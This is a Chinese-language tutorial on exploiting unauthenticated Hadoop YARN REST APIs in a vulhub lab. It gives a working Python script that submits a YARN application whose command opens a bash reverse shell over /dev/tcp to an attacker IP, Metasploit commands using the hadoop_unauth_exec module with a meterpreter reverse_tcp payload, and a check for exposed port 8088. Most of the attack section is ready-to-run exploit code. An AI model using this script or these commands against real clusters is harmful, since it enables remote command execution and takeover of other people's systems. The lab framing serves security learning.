Hadoop未授权访问

Hadoop未授权访问

是什么?

Hadoop 是一种用来处理和存储大量数据的软件工具,可以用来日志分析,推荐系统,数据备份

核心组件

存储大数据:HDFS 文件系统
处理大数据:MapReduce
管理资源:YARN

漏洞成因(本质是API路径未授权):

默认开放的REST API端口: YARN的RESTAP默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。

靶场:vulhub/hadoop/unauthorized-yarn

# 开启靶场
docker-compose up -d

利用方式一(脚本利用)

1.访问靶机8088端口,看到存在未授权访问漏洞

2.通过脚本利用(通过python3执行脚本即可)

#!/usr/bin/env python

import requests

# 漏洞目标URL
target = 'http://127.0.0.1:8088/'
#  反弹Shell 攻击机IP地址,监听6666端口
lhost = '192.168.0.1' 

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1'
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

利用方式二(msf利用)

利用msf模块

msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit

漏洞发现

POST访问如下URL,返回application-id,则表明存在漏洞

 http://ip:8088/ws/v1/cluster/apps/new-application

总结

  1. 漏洞成因是开启了Hadoop Web 管理页面,端口一般为8088或8090
  2. 所以可以通过访问接口发现是否存在漏洞